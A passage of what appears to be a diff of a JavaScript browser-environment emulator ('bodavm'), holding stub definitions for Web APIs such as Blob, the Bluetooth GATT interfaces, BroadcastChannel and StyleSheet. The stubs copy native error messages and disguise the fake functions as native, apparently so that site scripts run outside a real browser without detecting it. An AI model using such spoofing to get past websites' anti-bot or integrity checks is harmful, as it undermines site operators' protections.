"recordsAvailable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "match", {configurable:true, enumerable:true, writable:true, value:function match (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "match", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "matchAll", {configurable:true, enumerable:true, writable:true, value:function matchAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "matchAll", arguments)}},'prototype'); - -// BeforeUnloadEvent对象 -bodavm.memory.globalobj['BeforeUnloadEvent'] = function BeforeUnloadEvent(){if (!(this instanceof BeforeUnloadEvent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BeforeUnloadEvent'], "BeforeUnloadEvent"); -bodavm.memory.globalobj['BeforeUnloadEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['BeforeUnloadEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('BeforeUnloadEvent', "returnValue", {configurable:true, enumerable:true, get:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeUnloadEvent'].prototype, "BeforeUnloadEvent", "returnValue_get", arguments)}, set:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeUnloadEvent'].prototype, "BeforeUnloadEvent", "returnValue_set", arguments)}},'prototype'); - -// BiquadFilterNode对象 -bodavm.memory.globalobj['BiquadFilterNode'] = function BiquadFilterNode(){if (!(this instanceof BiquadFilterNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BiquadFilterNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BiquadFilterNode'], "BiquadFilterNode"); -bodavm.memory.globalobj['BiquadFilterNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['BiquadFilterNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "frequency", {configurable:true, enumerable:true, get:function frequency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "frequency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "detune", {configurable:true, enumerable:true, get:function detune (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "detune_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "Q", {configurable:true, enumerable:true, get:function Q (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "Q_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "gain", {configurable:true, enumerable:true, get:function gain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "gain_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "getFrequencyResponse", {configurable:true, enumerable:true, writable:true, value:function getFrequencyResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "getFrequencyResponse", arguments)}},'prototype'); - -// Blob对象 -bodavm.memory.globalobj['Blob'] = function Blob(){this._boarg= new bodaobj.window.Blob();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Blob'], "Blob"); -bodavm.toolsFunc.defineProperty('Blob', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "arrayBuffer", {configurable:true, enumerable:true, writable:true, value:function arrayBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "arrayBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "slice", {configurable:true, enumerable:true, writable:true, value:function slice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "slice", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "stream", {configurable:true, enumerable:true, writable:true, value:function stream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "stream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "text", {configurable:true, enumerable:true, writable:true, value:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "text", arguments)}},'prototype'); - -// BlobEvent对象 -bodavm.memory.globalobj['BlobEvent'] = function BlobEvent(){if (!(this instanceof BlobEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BlobEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BlobEvent'], "BlobEvent"); -bodavm.memory.globalobj['BlobEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['BlobEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('BlobEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BlobEvent'].prototype, "BlobEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BlobEvent', "timecode", {configurable:true, enumerable:true, get:function timecode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BlobEvent'].prototype, "BlobEvent", "timecode_get", arguments)}, set:undefined},'prototype'); - -// BluetoothCharacteristicProperties对象 -bodavm.memory.globalobj['BluetoothCharacteristicProperties'] = function BluetoothCharacteristicProperties(){if (!(this instanceof BluetoothCharacteristicProperties)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothCharacteristicProperties'], "BluetoothCharacteristicProperties"); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "broadcast", {configurable:true, enumerable:true, get:function broadcast (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "broadcast_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "read", {configurable:true, enumerable:true, get:function read (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "read_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "writeWithoutResponse", {configurable:true, enumerable:true, get:function writeWithoutResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "writeWithoutResponse_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "write", {configurable:true, enumerable:true, get:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "write_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "notify", {configurable:true, enumerable:true, get:function notify (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "notify_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "indicate", {configurable:true, enumerable:true, get:function indicate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "indicate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "authenticatedSignedWrites", {configurable:true, enumerable:true, get:function authenticatedSignedWrites (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "authenticatedSignedWrites_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "reliableWrite", {configurable:true, enumerable:true, get:function reliableWrite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "reliableWrite_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "writableAuxiliaries", {configurable:true, enumerable:true, get:function writableAuxiliaries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "writableAuxiliaries_get", arguments)}, set:undefined},'prototype'); - -// BluetoothDevice对象 -bodavm.memory.globalobj['BluetoothDevice'] = function BluetoothDevice(){if (!(this instanceof BluetoothDevice)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothDevice'], "BluetoothDevice"); -bodavm.memory.globalobj['BluetoothDevice'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BluetoothDevice'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BluetoothDevice', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothDevice', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothDevice', "gatt", {configurable:true, enumerable:true, get:function gatt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "gatt_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothDevice', "ongattserverdisconnected", {configurable:true, enumerable:true, get:function ongattserverdisconnected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "ongattserverdisconnected_get", arguments)}, set:function ongattserverdisconnected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "ongattserverdisconnected_set", arguments)}},'prototype'); - -// BluetoothRemoteGATTCharacteristic对象 -bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'] = function BluetoothRemoteGATTCharacteristic(){if (!(this instanceof BluetoothRemoteGATTCharacteristic)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'], "BluetoothRemoteGATTCharacteristic"); -bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "service", {configurable:true, enumerable:true, get:function service (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "service_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "uuid", {configurable:true, enumerable:true, get:function uuid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "uuid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "properties", {configurable:true, enumerable:true, get:function properties (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "properties_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "oncharacteristicvaluechanged", {configurable:true, enumerable:true, get:function oncharacteristicvaluechanged (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "oncharacteristicvaluechanged_get", arguments)}, set:function oncharacteristicvaluechanged (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "oncharacteristicvaluechanged_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "getDescriptor", {configurable:true, enumerable:true, writable:true, value:function getDescriptor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "getDescriptor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "getDescriptors", {configurable:true, enumerable:true, writable:true, value:function getDescriptors (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "getDescriptors", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "readValue", {configurable:true, enumerable:true, writable:true, value:function readValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "readValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "startNotifications", {configurable:true, enumerable:true, writable:true, value:function startNotifications (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "startNotifications", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "stopNotifications", {configurable:true, enumerable:true, writable:true, value:function stopNotifications (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "stopNotifications", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValue", {configurable:true, enumerable:true, writable:true, value:function writeValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValueWithResponse", {configurable:true, enumerable:true, writable:true, value:function writeValueWithResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValueWithResponse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValueWithoutResponse", {configurable:true, enumerable:true, writable:true, value:function writeValueWithoutResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValueWithoutResponse", arguments)}},'prototype'); - -// BluetoothRemoteGATTDescriptor对象 -bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'] = function BluetoothRemoteGATTDescriptor(){if (!(this instanceof BluetoothRemoteGATTDescriptor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'], "BluetoothRemoteGATTDescriptor"); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "characteristic", {configurable:true, enumerable:true, get:function characteristic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "characteristic_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "uuid", {configurable:true, enumerable:true, get:function uuid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "uuid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "readValue", {configurable:true, enumerable:true, writable:true, value:function readValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "readValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "writeValue", {configurable:true, enumerable:true, writable:true, value:function writeValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "writeValue", arguments)}},'prototype'); - -// BluetoothRemoteGATTServer对象 -bodavm.memory.globalobj['BluetoothRemoteGATTServer'] = function BluetoothRemoteGATTServer(){if (!(this instanceof BluetoothRemoteGATTServer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTServer'], "BluetoothRemoteGATTServer"); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "device_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "connected", {configurable:true, enumerable:true, get:function connected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "connected_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "connect", {configurable:true, enumerable:true, writable:true, value:function connect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "connect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "getPrimaryService", {configurable:true, enumerable:true, writable:true, value:function getPrimaryService (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "getPrimaryService", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "getPrimaryServices", {configurable:true, enumerable:true, writable:true, value:function getPrimaryServices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "getPrimaryServices", arguments)}},'prototype'); - -// BluetoothRemoteGATTService对象 -bodavm.memory.globalobj['BluetoothRemoteGATTService'] = function BluetoothRemoteGATTService(){if (!(this instanceof BluetoothRemoteGATTService)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTService'], "BluetoothRemoteGATTService"); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "device_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "uuid", {configurable:true, enumerable:true, get:function uuid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "uuid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "isPrimary", {configurable:true, enumerable:true, get:function isPrimary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "isPrimary_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "getCharacteristic", {configurable:true, enumerable:true, writable:true, value:function getCharacteristic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "getCharacteristic", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "getCharacteristics", {configurable:true, enumerable:true, writable:true, value:function getCharacteristics (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "getCharacteristics", arguments)}},'prototype'); - -// blur对象 -bodavm.memory.globalobj['blur'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('blur', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('blur', "name", {configurable:true, enumerable:false, writable:false, value:"blur"}); - -// BroadcastChannel对象 -bodavm.memory.globalobj['BroadcastChannel'] = function BroadcastChannel(){if (!(this instanceof BroadcastChannel)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BroadcastChannel': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BroadcastChannel'], "BroadcastChannel"); -bodavm.memory.globalobj['BroadcastChannel'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BroadcastChannel'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BroadcastChannel', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BroadcastChannel', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BroadcastChannel', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BroadcastChannel', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BroadcastChannel', "postMessage", {configurable:true, enumerable:true, writable:true, value:function postMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "postMessage", arguments)}},'prototype'); - -// BrowserCaptureMediaStreamTrack对象 -bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'] = function BrowserCaptureMediaStreamTrack(){if (!(this instanceof BrowserCaptureMediaStreamTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'], "BrowserCaptureMediaStreamTrack"); -bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].prototype.__proto__=bodavm.memory.globalobj['MediaStreamTrack'].prototype; -bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].__proto__=bodavm.memory.globalobj['MediaStreamTrack']; -bodavm.toolsFunc.defineProperty('BrowserCaptureMediaStreamTrack', "cropTo", {configurable:true, enumerable:true, writable:true, value:function cropTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].prototype, "BrowserCaptureMediaStreamTrack", "cropTo", arguments)}},'prototype'); - -// StyleSheet对象 -bodavm.memory.globalobj['StyleSheet'] = function StyleSheet(){if (!(this instanceof StyleSheet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleSheet'], "StyleSheet"); -bodavm.toolsFunc.defineProperty('StyleSheet', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "href_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "ownerNode", {configurable:true, enumerable:true, get:function ownerNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "ownerNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "parentStyleSheet", {configurable:true, enumerable:true, get:function parentStyleSheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "parentStyleSheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "title_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "media_get", arguments)}, set:function media (){return 